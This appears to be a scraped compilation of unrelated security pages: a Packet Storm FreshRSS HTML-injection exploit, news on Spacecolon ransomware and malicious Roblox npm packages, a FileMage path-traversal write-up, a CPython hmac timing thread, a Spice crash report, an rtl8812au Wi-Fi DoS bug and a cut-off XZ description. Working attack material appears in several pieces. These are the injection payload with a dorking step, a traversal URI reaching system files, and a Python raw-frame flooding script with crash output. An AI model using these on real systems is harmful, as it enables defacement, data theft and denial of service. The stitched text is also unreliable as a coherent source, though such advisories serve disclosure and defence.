FreshRSS version 1.11.1 suffers from an html injection vulnerability.

**FreshRSS 1.11.1 HTML Injection**

Posted Aug 23, 2023

Authored by indoushka

FreshRSS version 1.11.1 suffers from an html injection vulnerability.

tags | exploit

SHA-256 | c789b4001ff7c396e22af1e82b8f9c8c3a4f13f593828eb66d0a73226d79294b

Download | Favorite | View

**FreshRSS 1.11.1 HTML Injection**

    ====================================================================================================================================| # Title     : FreshRSS v1.11.1 Html Inject Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://freshrss.org/                                                                                              |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : <marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+]  https://demo127.0.0.1/freshrssorg/i/?c=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,006)
*   Arbitrary (16,212)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,282)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,347)
*   DoS (23,453)
*   Encryption (2,370)
*   Exploit (51,952)
*   File Inclusion (4,222)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,785)
*   Intrusion Detection (892)
*   Java (3,045)
*   JavaScript (859)
*   Kernel (6,681)
*   Local (14,456)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,147)
*   Proof of Concept (2,338)
*   Protocol (3,602)
*   Python (1,535)
*   Remote (30,799)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,888)
*   Shell (3,186)
*   Shellcode (1,215)
*   Sniffer (894)
*   Spoof (2,207)
*   SQL Injection (16,383)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (665)
*   Vulnerability (31,788)
*   Web (9,670)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,953)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,819)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,504)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,750)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,835)
*   UNIX (9,291)
*   UnixWare (186)
*   Windows (6,574)
*   Other

FreshRSS 1.11.1 HTML Injection

A malicious toolset dubbed Spacecolon is being deployed as part of an ongoing campaign to spread variants of the Scarab ransomware across victim organizations globally.
"It probably finds its way into victim organizations by its operators compromising vulnerable web servers or via brute forcing RDP credentials," ESET security researcher Jakub Souček said in a detailed technical write-up

A malicious toolset dubbed **Spacecolon** is being deployed as part of an ongoing campaign to spread variants of the Scarab ransomware across victim organizations globally.

"It probably finds its way into victim organizations by its operators compromising vulnerable web servers or via brute forcing RDP credentials," ESET security researcher Jakub Souček said in a detailed technical write-up published Tuesday.

The Slovak cybersecurity firm, which dubbed the threat actor CosmicBeetle, said the origins of the Spacecolon date back to May 2020. The highest concentration of victims has been detected in France, Mexico, Poland, Slovakia, Spain, and Turkey.

While the exact provenance of the adversary is unclear, several Spacecolon variants are said to contain Turkish strings, likely pointing to the involvement of a Turkish-speaking developer. There is no evidence currently linking it to any other known threat actor group.

Some of the targets include a hospital and a tourist resort in Thailand, an insurance company in Israel, a local governmental institution in Poland, an entertainment provider in Brazil, an environmental company in Turkey, and a school in Mexico.

"CosmicBeetle does not choose its targets; rather, it finds servers with critical security updates missing and exploits that to its advantage," Souček pointed out.

It's worth noting that Spacecolon was first documented by Polish company Zaufana Trzecia Strona in early February 2023, likely prompting the adversary to tweak its arsenal in response to public disclosures.

The primary component of Spacecolon is ScHackTool, a Delhi-based orchestrator that's used to deploy an installer, which, as the name implies, installs ScService, a backdoor with features to execute custom commands, download and execute payloads, and retrieve system information from compromised machines.

ScHackTool also functions as a conduit to set up a wide array of third-party tools fetched from a remote server (193.149.185\[.\]23). The ultimate goal of the attacks is to leverage the access afforded by ScService to deliver a variant of the Scarab ransomware.

An alternate version of the infection chain identified by ESET entails the use of Impacket to deploy ScService as opposed to using ScHackTool, indicating that the threat actors are experimenting with different methods.

CosmicBeetle's financial motives are further bolstered by the fact that the ransomware payload also drops a clipper malware to keep tabs on the system clipboard and modify cryptocurrency wallet addresses to those under the attacker's control.

Furthermore, there is evidence that the adversary is actively developing a new ransomware strain dubbed ScRansom, which attempts to encrypt all hard, removable, and remote drives using the AES-128 algorithm with a key generated from a hard-coded string.

"CosmicBeetle doesn't make much effort to hide its malware and leaves plenty of artifacts on compromised systems," Souček said. "Little to no anti-analysis or anti-emulation techniques are implemented. ScHackTool relies heavily on its GUI, but, at the same time, contains several nonfunctional buttons."

"CosmicBeetle operators use ScHackTool mainly to download additional tools of choice to compromised machines and run them as they see fit."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Spacecolon Toolset Fuels Global Surge in Scarab Ransomware Attacks

More than a dozen malicious packages have been discovered on the npm package repository since the start of August 2023 with capabilities to deploy an open-source information stealer called Luna Token Grabber on systems belonging to Roblox developers.
The ongoing campaign, first detected on August 1 by ReversingLabs, employs modules that masquerade as the legitimate package noblox.js, an API

Software Security / Malware

More than a dozen malicious packages have been discovered on the npm package repository since the start of August 2023 with capabilities to deploy an open-source information stealer called **Luna Token Grabber** on systems belonging to Roblox developers.

The ongoing campaign, first detected on August 1 by ReversingLabs, employs modules that masquerade as the legitimate package noblox.js, an API wrapper that's used to create scripts that interact with the Roblox gaming platform.

The software supply chain security company described the activity as a "replay of an attack uncovered two years ago" in October 2021.

"The malicious packages \[...\] reproduce code from the legitimate noblox.js package but add malicious, information-stealing functions," software threat researcher Lucija Valentić said in a Tuesday analysis.

The packages were cumulatively downloaded 963 times before they were taken down. The names of the rogue packages are as follows -

*   noblox.js-vps (versions 4.14.0 to 4.23.0)
*   noblox.js-ssh (versions 4.2.3 to 4.2.5)
*   noblox.js-secure (versions 4.1.0, 4.2.0 to 4.2.3)

While the broad contours of the latest attack wave remain similar to the previous one, it also exhibits some unique characteristics of its own, notably in the deployment of an executable that delivers Luna Grabber.

The development is one of the rare instances of a multi-stage infection sequence uncovered on npm, ReversingLabs said.

"With malicious campaigns that target the software supply chain, the difference between sophisticated and unsophisticated attacks often comes down to the level of effort the malicious actors make to disguise their attack and make their malicious packages look legitimate," Valentić pointed out.

The modules, in particular, cleverly conceal their malicious functionality in a separate file named postinstall.js that's invoked after installation.

That's because the genuine noblox.js package also employs a file with the same name to display a thank you message to its users alongside links to its documentation and GitHub repository.

The bogus variants, on the other hand, utilize the JavaScript file to verify to see if the package is installed on a Windows machine, and if so, download and execute a second-stage payload hosted on Discord CDN, or alternatively, show an error message.

ReversingLabs said that the second-stage continued to evolve with each iteration, progressively adding more functionality and obfuscation mechanisms to thwart analysis. The primary responsibility of the script is to download Luna Token Grabber, a Python tool that can siphon credentials from web browsers as well as Discord tokens.

However, it appears that the threat actor behind the npm campaign appears to have opted only to harvest system information from victims using a configurable builder made available by the author(s) behind Luna Token Grabber.

This is not the first time Luna Token Grabber has been spotted in the wild. Earlier this June, Trellix disclosed details of a new Go-based information stealer called Skuld that overlaps with the malware strain.

"It highlights yet again the trend of malicious actors using typosquatting as a technique to fool developers into downloading malicious code under the guise of similarly named, legitimate packages," Valentić said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Over a Dozen Malicious npm Packages Target Roblox Game Developers

Directory Traversal vulnerability in FileMage Gateway Windows Deployments v.1.10.8 and before allows a remote attacker to obtain sensitive information via a crafted request to the /mgmt/ component.

**Overview**

Hello all! Long time no see, I recently identified a vulnerability on FileMage Gateway that I applied for my first CVE.

On a recent security assesment, I identified a security vulnerability in FileMage Gateway. It is possible to send an unauthenticated HTTP(s) GET request to retrieve arbitrary files on the host system. This vulnerability is present and identified on the Azure Marketplace product.

**What is Filemage**

FileMage Gateway is an FTP/SFTP server backed by a cloud object storage API. Deployable from your cloud provider marketplace and billed hourly.

**Technical Details**

This section outlines the steps to replicate the exploitation of the identified vulnerability. I deployed an Azure Virtual Machine from the marketplace for the technical analysis. Additional reference material may be requested if needed.

By navigating to the homepage on FileMage Gateway, a path traversal vulnerability is present under the /mgmnt/ directory on the Azure Marketplace Deployment. An unauthenticated HTTPS GET request can be sent using dot-dot slash sequences using URL encoding as observed below.

    URI: /mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5 cwindows%5cwin.ini
    

Deploying a test instance from the Azure Marketplace, process monitoring was leveraged to understand where the sensitive and configuration files are stored in FileMage.

It’s possible for an unauthenticated user to extract sensitive data such as FileMage and PostgresSQL configuration files, SSH keys, and other sensitive files as illustrated in the screenshots below.

This vulnerability was tested on non-azure deployments of FileMage but were found not to be vulnerable to the path traversal. I disclosed this vulnerability with the help of a great friend “Tylous”, thanks! This has since been patched.

**Recommendation**

User-controllable data should be strictly validated before being passed to any filesystem operations. In particular, input containing dot-dot sequences should be blocked. This was disclosed to the vendor

**Patched**

https://www.filemage.io/docs/updates.html - This was updated in 1.10.9 version of FileMage

**Next Steps**

While waiting on the CVE # to publish, I’ll publish the python POC code to exploit this and a nuclei template that I will try to merge with the nuclei-templates repo.

CVE-2023-39026: FileMage Gateway LFI

By Habiba Rashid
The campaign, which began at the start of August 2023, revolves around malicious packages impersonating the legitimate noblox.js,…
This is a post from HackRead.com Read the original post: Luna Grabber Malware Hits Roblox Devs Through npm Packages

The campaign, which began at the start of August 2023, revolves around malicious packages impersonating the legitimate noblox.js, a popular Node.js Roblox API wrapper.

*   **Roblox developers are being targeted by a new malware called Luna Grabber**

*   **The malware is being distributed through malicious npm packages that impersonate legitimate software.**

*   **Luna Grabber is capable of stealing sensitive data from victims’ web browsers, Discord applications, and local system configurations.**

*   **The malware was downloaded approximately 1000 times, but its impact was relatively low due to the security measures in place to protect developers on the npm repository.**

*   **The incident highlights the growing trend of malicious actors employing typo squatting to exploit developers’ trust in legitimate software packages.**

Cybersecurity firm ReversingLabs has uncovered a sophisticated cyber attack targeting developers on the Roblox gaming platform. Malicious actors have been distributing malicious packages through the npm public repository, attempting to exploit users by mimicking legitimate software while incorporating malicious payloads that steal sensitive information from victims’ systems.

**Malware Campaign Overview**

The campaign, which began at the start of August 2023, revolves around malicious packages impersonating the legitimate noblox.js, a popular Node.js Roblox API wrapper. By infiltrating the npm public repository, attackers capitalized on unsuspecting developers seeking to interact with the Roblox gaming platform using scripts.

ReversingLabs researchers identified several malicious packages during the campaign, including noblox.js-vps, noblox.js-ssh, and noblox.js-secure. These packages were engineered to deliver multi-stage malicious payloads that targeted victims’ local web browsers and Discord applications. The most notable payload identified was Luna Grabber, an open-source malware designed to extract sensitive data.

**Malware Execution and Strategy**

Attackers meticulously designed the malicious packages to closely resemble the legitimate noblox.js package. By mirroring the original code and adopting similar naming conventions, the attackers aimed to deceive developers into downloading and using the compromised software.

The malicious packages leveraged a variety of techniques to compromise victims’ systems, including the incorporation of a separate file named postinstall.js. This post-installation script triggered the execution of a malicious payload after the package installation was completed. The malware then determined whether the victim was operating a Windows machine and proceeded to download and execute the Luna Grabber malware from Discord’s Content Delivery Network (CDN).

**Luna Grabber: Information Stealing Malware**

The research revealed that the primary payload of the malicious packages was Luna Grabber, a highly customizable malware capable of stealing information from victims’ web browsers, Discord applications, and local system configurations. The malware was also equipped with features that enabled it to detect virtual environments and initiate a self-destruct mechanism if necessary.

Interestingly, the attackers behind the campaign took advantage of the user-friendly nature of Luna Grabber’s builder application, simplifying the process of creating and configuring the malicious executable.

Screenshot shared by ReversingLabs shows Luna Grabber builder

While Luna Grabber’s open-source nature allowed attackers to tailor the malware to their needs, the choice of targeting developers on the Roblox platform suggests a focus on a specific user group.

**Limited Impact and Lessons Learned**

Despite the campaign’s sophistication, its impact remained relatively low. The malicious packages were downloaded approximately 1000 times, signalling that the security measures in place to protect developers on the npm repository were successful in limiting the reach of the attack.

The incident sheds light on the growing trend of malicious actors employing typo squatting to exploit developers’ trust in legitimate software packages. This approach has been previously observed in other campaigns, such as the IconBurst and Brainleeches campaigns.

Fake noblox.js-ssh’s npm website page (ReversingLabs)

While multi-stage malicious packages are common on certain open-source platforms, such as PyPI, their presence on npm—where this campaign took place—represents the ongoing challenge of maintaining secure open-source repositories and the importance of cautiousness in choosing software packages for development purposes.

1.  CISA warns of trojanized JavaScript library’s NPM package
2.  Discord.io Admits Data Breach: Info of 760K Users Sold Online
3.  6 official Python repositories plagued with cryptomining malware

Luna Grabber Malware Hits Roblox Devs Through npm Packages

An issue was discovered in compare_digest in Lib/hmac.py in Python through 3.9.1. Constant-time-defeating optimisations were possible in the accumulator variable in hmac.compare_digest.

Created on **2020-05-27 07:41** by **Devin Jeanpierre**, last changed **2022-04-11 14:59** by **admin**. This issue is now **closed**.

Messages (15) msg370053 - (view) Author: Devin Jeanpierre (Devin Jeanpierre) \* Date: 2020-05-27 07:41

\`hmac.compare\_digest\` (via \`\_tscmp\`) does not mark the accumulator variable \`result\` as volatile, which means that the compiler is allowed to short-circuit the comparison loop as long as it still reads from both strings.

In particular, when \`result\` is non-volatile, the compiler is allowed to change the loop from this:


\`\`\`c
for (i=0; i < length; i++) {
    result |= \*left++ ^ \*right++;
}
return (result == 0);
\`\`\`

into (the moral equivalent of) this:


\`\`\`c
for (i=0; i < length; i++) {
    result |= \*left++ ^ \*right++;
    if (result) {
        for (; ++i < length;) {
            \*left++; \*right++;
        }
        return 1;
    }
}
return (result == 0);
\`\`\`

(Code not tested.)

This might not seem like much, but it cuts out almost all of the data dependencies between \`result\`, \`left\`, and \`right\`, which in theory would free the CPU to race ahead using out of order execution -- it could execute code that depends on the result of \`\_tscmp\`, even while \`\_tscmp\` is still performing the volatile reads. (I have not actually benchmarked this. :)) In other words, this weird short circuiting could still actually improve performance. That, in turn, means that it would break constant-time guarantees.

(This is different from saying that it \_would\_ increase performance, but marking it volatile removes the worry.)

(Prior art/discussion: https://github.com/google/tink/commit/335291c42eecf29fca3d85fed6179d11287d253e )


I propose two changes, one trivial, and one that's more invasive:

1) Make \`result\` a \`volatile unsigned char\` instead of \`unsigned char\`. 

2) When SSL is available, instead use \`CRYPTO\_memcmp\` from OpenSSL/BoringSSL. We are, in effect, "rolling our own crypto". The SSL libraries are more strictly audited for timing issues, down to actually checking the generated machine code. As tools improve, those libraries will grow to use those tools. If we use their functions, we get the benefit of those audits and improvements.

msg370094 - (view) Author: Raymond Hettinger (rhettinger) \*  Date: 2020-05-27 15:26

+1 for both of these suggestions

msg370108 - (view) Author: Gregory P. Smith (gregory.p.smith) \*  Date: 2020-05-27 16:05

Christian - Devin could likely use some help with the build/ifdef plumbing required for (2) to use CRYPTO\_memcmp from Modules/\_operator.c when OpenSSL is available.

msg370109 - (view) Author: Christian Heimes (christian.heimes) \*  Date: 2020-05-27 16:14

GPS, I got you covered :)

CRYPTO\_memcmp() was on my TODO list for a while. Thanks for nagging me.

\_operator is a built-in module. I don't want to add libcrypto dependency to libpython. I copied the code, made some adjustments and added it to \_hashopenssl.c.

msg370121 - (view) Author: Christian Heimes (christian.heimes) \*  Date: 2020-05-27 19:18

Greg, is GH-20456 a bug fix / security enhancement or a new feature? I'm hesitant to backport it to 3.7 and 3.8. 3.9 might be ok.

msg370122 - (view) Author: Gregory P. Smith (gregory.p.smith) \*  Date: 2020-05-27 19:46

I'd feel fine doing that for 3.9 given 3.9.0 is only in beta and this changes no public APIs.  For 3.8 and 3.7 i wouldn't.

Be sure to update the versionchanged in the docs if you choose to do it for 3.9.

msg370124 - (view) Author: Christian Heimes (christian.heimes) \*  Date: 2020-05-27 19:50

New changeset db5aed931f8a617f7b63e773f62db468fe9c5ca1 by Christian Heimes in branch 'master':
bpo-40791: Use CRYPTO\_memcmp() for compare\_digest (#20456)
https://github.com/python/cpython/commit/db5aed931f8a617f7b63e773f62db468fe9c5ca1

msg370195 - (view) Author: miss-islington (miss-islington) Date: 2020-05-28 12:10

New changeset 8183e11d87388e4e44e3242c42085b87a878f781 by Christian Heimes in branch '3.9':
\[3.9\] bpo-40791: Use CRYPTO\_memcmp() for compare\_digest (GH-20456) (GH-20461)
https://github.com/python/cpython/commit/8183e11d87388e4e44e3242c42085b87a878f781

msg381530 - (view) Author: Gregory P. Smith (gregory.p.smith) \*  Date: 2020-11-21 08:55

New changeset 31729366e2bc09632e78f3896dbce0ae64914f28 by Devin Jeanpierre in branch 'master':
bpo-40791: Make compare\_digest more constant-time. (GH-20444)
https://github.com/python/cpython/commit/31729366e2bc09632e78f3896dbce0ae64914f28

msg381531 - (view) Author: miss-islington (miss-islington) Date: 2020-11-21 09:12

New changeset 97136d71a78a4b6b816f7e14acc52be426efcb6f by Miss Islington (bot) in branch '3.8':
bpo-40791: Make compare\_digest more constant-time. (GH-20444)
https://github.com/python/cpython/commit/97136d71a78a4b6b816f7e14acc52be426efcb6f

msg381533 - (view) Author: miss-islington (miss-islington) Date: 2020-11-21 09:18

New changeset c1bbca5b004b3f74d240ef8a76ff445cc1a27efb by Miss Islington (bot) in branch '3.9':
bpo-40791: Make compare\_digest more constant-time. (GH-20444)
https://github.com/python/cpython/commit/c1bbca5b004b3f74d240ef8a76ff445cc1a27efb

msg381624 - (view) Author: Benjamin Peterson (benjamin.peterson) \*  Date: 2020-11-22 17:33

New changeset db95802bdfac4d13db3e2a391ec7b9e2f8d92dbe by Miss Islington (bot) in branch '3.7':
bpo-40791: Make compare\_digest more constant-time. (GH-23438)
https://github.com/python/cpython/commit/db95802bdfac4d13db3e2a391ec7b9e2f8d92dbe

msg382972 - (view) Author: Michał Górny (mgorny) \* Date: 2020-12-14 10:12

Any reason this wasn't backported to 3.6?  FWICS it's supposed to be security supported still.

msg382993 - (view) Author: Ned Deily (ned.deily) \*  Date: 2020-12-14 17:05

New changeset 8bef9ebb1b88cfa4b2a38b93fe4ea22015d8254a by Miss Islington (bot) in branch '3.6':
bpo-40791: Make compare\_digest more constant-time. (GH-23438) (GH-23767)
https://github.com/python/cpython/commit/8bef9ebb1b88cfa4b2a38b93fe4ea22015d8254a

msg382995 - (view) Author: Ned Deily (ned.deily) \*  Date: 2020-12-14 17:11

\> Any reason this wasn't backported to 3.6?

Just an oversight. Thanks for pointing it out.

History Date User Action Args 2022-04-11 14:59:31adminsetgithub: 84968 2020-12-14 17:11:27ned.deilysetmessages: + msg382995  
versions: + Python 3.6 2020-12-14 17:05:09ned.deilysetnosy: + ned.deily  
messages: + msg382993  
2020-12-14 16:41:09miss-islingtonsetpull\_requests: + pull\_request22623 2020-12-14 10:12:35mgornysetnosy: + mgorny  
messages: + msg382972  
2020-11-22 17:34:28benjamin.petersonsetstatus: open -> closed  
resolution: fixed  
stage: patch review -> resolved 2020-11-22 17:33:22benjamin.petersonsetnosy: + benjamin.peterson  
messages: + msg381624  
2020-11-21 09:18:44miss-islingtonsetmessages: + msg381533 2020-11-21 09:12:24miss-islingtonsetmessages: + msg381531 2020-11-21 08:56:06miss-islingtonsetpull\_requests: + pull\_request22330 2020-11-21 08:55:58miss-islingtonsetpull\_requests: + pull\_request22329 2020-11-21 08:55:51miss-islingtonsetpull\_requests: + pull\_request22328 2020-11-21 08:55:27gregory.p.smithsetmessages: + msg381530 2020-05-28 12:10:04miss-islingtonsetnosy: + miss-islington  
messages: + msg370195  
2020-05-27 19:51:51christian.heimessetpull\_requests: + pull\_request19714 2020-05-27 19:50:11christian.heimessetmessages: + msg370124 2020-05-27 19:46:01gregory.p.smithsetmessages: + msg370122 2020-05-27 19:18:24christian.heimessetmessages: + msg370121 2020-05-27 16:14:21christian.heimessetmessages: + msg370109 2020-05-27 16:12:11christian.heimessetpull\_requests: + pull\_request19711 2020-05-27 16:05:20gregory.p.smithsetassignee: christian.heimes  
messages: + msg370108 2020-05-27 15:26:51rhettingersetversions: - Python 3.5, Python 3.6  
nosy: + rhettinger

messages: + msg370094

type: security

2020-05-27 15:25:47zach.waresetnosy: + gregory.p.smith, christian.heimes  
2020-05-27 09:00:48Devin Jeanpierresetkeywords: + patch  
stage: patch review  
pull\_requests: + pull\_request19700 2020-05-27 07:41:07Devin Jeanpierrecreate

CVE-2022-48566: Issue 40791: hmac.compare_digest could try harder to be constant-time.

An issue was discovered in spice-server spice-server-0.14.0-6.el7_6.1.x86_64 of Redhat's VDI product. There is a security vulnerablility that can restart KVMvirtual machine without any authorization. It is not yet known if there will be other other effects.

**Spice-Security-Issues**

I found a security issue on spice Server when I was fuzzing Spice server.

**Introduce**

A handshake is required before the spice-server and spice-client can establish communication, spice-client will send a request containing some information that the server needs. This TCP request requires only host and port. So I constructed a malformed TCP packet that caused the vm to crash and the QEMu-KVM process to be restarted.

**How to run**

#1. Send a malformed TCP packet(Observe the packets intercepted by Wirshark)  #2. check qemu-kvm process && kvm instance state

Before sending a malformed TCP packet  
  After sending a malformed TCP packet  

#3. Check libvirt's log that the virtual machine crashed  #4. Observe the virtual machine through virt-manage, found that the virtual machine has been restarted 

**Vulnerability Code**

Code Address: https://gitlab.freedesktop.org/spice/spice/-/blob/master/server/red-stream.cpp  
Function：async\_read\_handler Description: The function async\_READ\_handler caused a deadlock while processing the data stream. 

**Related component version**

Centos: Linux version 3.10.0-957.10.2.el7.x86\_64  
Qemu-kvm: QEMU emulator version 2.10.0(qemu-kvm-ev-2.10.0-21.el7\_5.7.1)  
Spice-server rpm: spice-server-0.14.0-6.el7\_6.1.x86\_64

CVE-2020-23793: GitHub - zelat/spice-security-issues

An issue was discovered in function nl80211_send_chandef in rtl8812au v5.6.4.2 allows attackers to cause a denial of service.

**testing environment**  
root@kali:~# uname -r  
5.6.0-kali2-amd64

**poc:**  
\`

#!/usr/bin/env python  
#coding=utf-8  
import time  
import socket

AP\_MAC = "00:22:66:88:22:00"  
STA\_MAC = "00:13:ef:f1:04:ef"  
ETH\_P\_ALL = 3  
IFACE = "wlan0"

def mac2str(mac):  
return "".join(map(lambda x: chr(int(x, 16)), mac.split(":")))

RADIO = "\\x00"  
RADIO += "\\x00"  
RADIO += "\\x24\\x00"  
RADIO += "\\x2f\\x40\\x00\\xa0"  
RADIO += "\\x20\\x08\\x00\\x00"  
RADIO += "\\x00\\x00\\x00\\x00"  
RADIO += "\\x27"  
RADIO += "\\x43"  
RADIO += "\\x6e\\x25"  
RADIO += "\\xa0\\x00"  
RADIO += "\\x00\\x00"  
RADIO += "\\x10\\x02"  
RADIO += "\\x6c\\x09"  
RADIO += "\\xa0\\x00"  
RADIO += "\\xd0\\x00"  
RADIO += "\\x00"  
RADIO += "\\x00"  
RADIO += "\\xd0"  
RADIO += "\\x00"

AUTH\_REQ\_OPEN = RADIO + "\\xB0" # Type/Subtype  
AUTH\_REQ\_OPEN += "\\x08" # Flags  
AUTH\_REQ\_OPEN += "\\xc3\\x50" # Duration ID  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # Desti8nation address  
AUTH\_REQ\_OPEN += mac2str(STA\_MAC) # Source address  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # BSSID  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Sequence control  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication algorithm (open)  
AUTH\_REQ\_OPEN += "\\x01\\x00" # Authentication sequence number  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication status  
AUTH\_REQ\_OPEN += "\\x1f\\xd8" # Authentication status  
AUTH\_REQ\_OPEN += "\\x5a\\x07" # Authentication status  
AUTH\_REQ\_HDR = AUTH\_REQ\_OPEN\[:-6\]

def start\_fuzz():  
s = socket.socket(socket.AF\_PACKET, socket.SOCK\_RAW, socket.htons(ETH\_P\_ALL))  
s.bind((IFACE, ETH\_P\_ALL))  
while True:  
print("send msg:",AUTH\_REQ\_OPEN)  
s.send(AUTH\_REQ\_OPEN)

def main():  
start\_fuzz()

if **name** == "**main**":  
main()  
\`  
when execute poc, we should turn on monitoring mode：  
ip link set wlan0 down  
iw dev wlan0 set type monitor  
ip link set wlan0 up

**result**

[  952.607304] WARNING: CPU: 0 PID: 1293 at net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607304] Modules linked in: nfnetlink_queue(E) nfnetlink_log(E) 88XXau(OE) nfnetlink(E) bluetooth(E) drbg(E) ansi_cprng(E) ecdh_generic(E) ecc(E) cfg80211(E) rfkill(E) vsock_loopback(E) vmw_vsock_virtio_transport_common(E) vmw_vsock_vmci_transport(E) vsock(E) intel_rapl_msr(E) intel_rapl_common(E) intel_rapl_perf(E) vmw_balloon(E) joydev(E) serio_raw(E) pcspkr(E) sg(E) vmw_vmci(E) evdev(E) ac(E) binfmt_misc(E) fuse(E) sunrpc(E) ip_tables(E) x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(E) crc32c_generic(E) sd_mod(E) t10_pi(E) crc_t10dif(E) crct10dif_generic(E) crct10dif_pclmul(E) crct10dif_common(E) crc32_pclmul(E) crc32c_intel(E) ghash_clmulni_intel(E) hid_generic(E) usbhid(E) hid(E) sr_mod(E) cdrom(E) ata_generic(E) vmwgfx(E) aesni_intel(E) libaes(E) crypto_simd(E) cryptd(E) glue_helper(E) ttm(E) psmouse(E) drm_kms_helper(E) ata_piix(E) cec(E) uhci_hcd(E) ehci_pci(E) xhci_pci(E) xhci_hcd(E) e1000(E) ehci_hcd(E) usbcore(E) usb_common(E) mptspi(E) mptscsih(E) mptbase(E) [  952.607325]  scsi_transport_spi(E) drm(E) libata(E) i2c_piix4(E) scsi_mod(E) button(E) [  952.607329] CPU: 0 PID: 1293 Comm: RTW_CMD_THREAD Tainted: G           OE     5.6.0-kali2-amd64 #1 Debian 5.6.14-1kali1 [  952.607330] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/29/2019 [  952.607340] RIP: 0010:nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607341] Code: 00 00 be a1 00 00 00 48 89 ef 89 44 24 04 e8 7c 8a 07 d6 85 c0 0f 84 7b ff ff ff 41 bc 97 ff ff ff e9 70 ff ff ff 31 c0 eb a7 <0f> 0b 41 bc ea ff ff ff e9 5f ff ff ff e8 c3 c7 cb d5 0f 1f 00 0f [  952.607342] RSP: 0018:ffffa687c088fd80 EFLAGS: 00010246 [  952.607343] RAX: 0000000000000000 RBX: ffffa687c088fe08 RCX: 0000000000000087 [  952.607343] RDX: 00000000c07597ec RSI: 00000000ffff259c RDI: ffffa687c088fe08 [  952.607344] RBP: ffff98e22da4dd00 R08: 0000000000000003 R09: 0000000000000004 [  952.607344] R10: 0000000000000000 R11: 0000000000000000 R12: ffffa687c088fe08 [  952.607344] R13: 0000000000000000 R14: ffff98e22da4dd00 R15: ffff98e2343a3014 [  952.607345] FS:  0000000000000000(0000) GS:ffff98e23be00000(0000) knlGS:0000000000000000 [  952.607346] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [  952.607346] CR2: 00007f9224153030 CR3: 000000007a080005 CR4: 00000000002606f0 [  952.607365] Call Trace: [  952.607395]  nl80211_ch_switch_notify.constprop.0+0xcd/0x170 [cfg80211] [  952.607424]  rtw_cfg80211_ch_switch_notify+0x138/0x147 [88XXau] [  952.607440]  ? rtw_chk_start_clnt_join+0x79/0x79 [88XXau] [  952.607454]  rtw_chk_start_clnt_join+0x72/0x79 [88XXau] [  952.607468]  join_cmd_hdl+0x267/0x373 [88XXau] [  952.607476]  rtw_cmd_thread+0x295/0x3ed [88XXau] [  952.607494]  kthread+0xf9/0x130 [  952.607504]  ? rtw_stop_cmd_thread+0x39/0x39 [88XXau] [  952.607506]  ? kthread_park+0x90/0x90 [  952.607521]  ret_from_fork+0x35/0x40 [  952.607524] ---[ end trace c0d1960d55eb317c ]---

CVE-2020-26652: fuzzing wifi ,network will down,  result is net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] · Issue #730 · aircrack-ng/rtl8812au

An issue discovered in XZ 5.2.5 allows attackers to cause a denial of service via decompression of crafted file.

XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils.

The core of the XZ Utils compression code is based on LZMA SDK, but it has been modified quite a lot to be suitable for XZ Utils. The primary compression algorithm is currently LZMA2, which is used inside the .xz container format. With typical files, XZ Utils create 30 % smaller output than gzip and 15 % smaller output than bzip2.

XZ Utils consist of several components:

*   liblzma is a compression library with an API similar to that of zlib.
*   xz is a command line tool with syntax similar to that of gzip.
*   xzdec is a decompression-only tool smaller than the full-featured xz tool.
*   A set of shell scripts (xzgrep, xzdiff, etc.) have been adapted from gzip to ease viewing, grepping, and comparing compressed files.
*   Emulation of command line tools of LZMA Utils eases transition from LZMA Utils to XZ Utils.

While liblzma has a zlib-like API, liblzma doesn't include any file I/O functions. A separate I/O library is planned, which would abstract handling of .gz, .bz2, and .xz files with an easy to use API.

**Documentation**

Man page with a keyword index: xz(1)
